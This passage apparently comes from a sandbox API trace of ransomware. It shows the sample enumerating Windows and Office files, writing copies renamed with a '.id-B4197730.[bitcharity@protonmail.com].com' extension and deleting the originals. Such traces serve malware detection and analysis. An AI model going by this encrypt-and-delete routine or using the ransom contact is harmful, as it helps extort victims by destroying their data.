dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.645] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=738) returned 1 [0286.645] CloseHandle (hObject=0x109c) returned 1 [0286.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0286.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.646] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=804) returned 1 [0286.646] CloseHandle (hObject=0x109c) returned 1 [0286.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0286.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.646] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=488) returned 1 [0286.647] CloseHandle (hObject=0x109c) returned 1 [0286.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0286.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.647] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=617) returned 1 [0286.647] CloseHandle (hObject=0x109c) returned 1 [0286.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0286.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.648] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=16616) returned 1 [0286.648] CloseHandle (hObject=0x109c) returned 1 [0286.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0286.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.648] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=15097) returned 1 [0286.648] CloseHandle (hObject=0x109c) returned 1 [0286.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0286.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.649] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=9803) returned 1 [0286.649] CloseHandle (hObject=0x109c) returned 1 [0286.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0286.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.649] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=11067) returned 1 [0286.649] CloseHandle (hObject=0x109c) returned 1 [0286.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0286.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.650] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=10947) returned 1 [0286.650] CloseHandle (hObject=0x109c) returned 1 [0286.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0286.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.651] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=44506) returned 1 [0286.651] CloseHandle (hObject=0x109c) returned 1 [0286.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0286.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.651] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=737) returned 1 [0286.651] CloseHandle (hObject=0x109c) returned 1 [0286.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0286.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.652] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=221) returned 1 [0286.652] CloseHandle (hObject=0x109c) returned 1 [0286.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0286.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.652] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=471) returned 1 [0286.652] CloseHandle (hObject=0x109c) returned 1 [0286.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0286.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.653] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=215) returned 1 [0286.653] CloseHandle (hObject=0x109c) returned 1 [0286.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0286.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.653] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1069) returned 1 [0286.653] CloseHandle (hObject=0x109c) returned 1 [0286.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0286.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.654] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=213) returned 1 [0286.654] CloseHandle (hObject=0x109c) returned 1 [0286.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0286.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.236] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.236] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0287.237] GetLastError () returned 0x0 [0287.237] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x4c14, lpOverlapped=0x0) returned 1 [0287.243] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x4c20, lpOverlapped=0x0) returned 1 [0287.244] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.244] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0287.244] SetEndOfFile (hFile=0x10a8) returned 1 [0287.244] CloseHandle (hObject=0x10a8) returned 1 [0287.245] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.245] SetEndOfFile (hFile=0x10ac) returned 1 [0287.246] CloseHandle (hObject=0x10ac) returned 1 [0287.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0287.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") 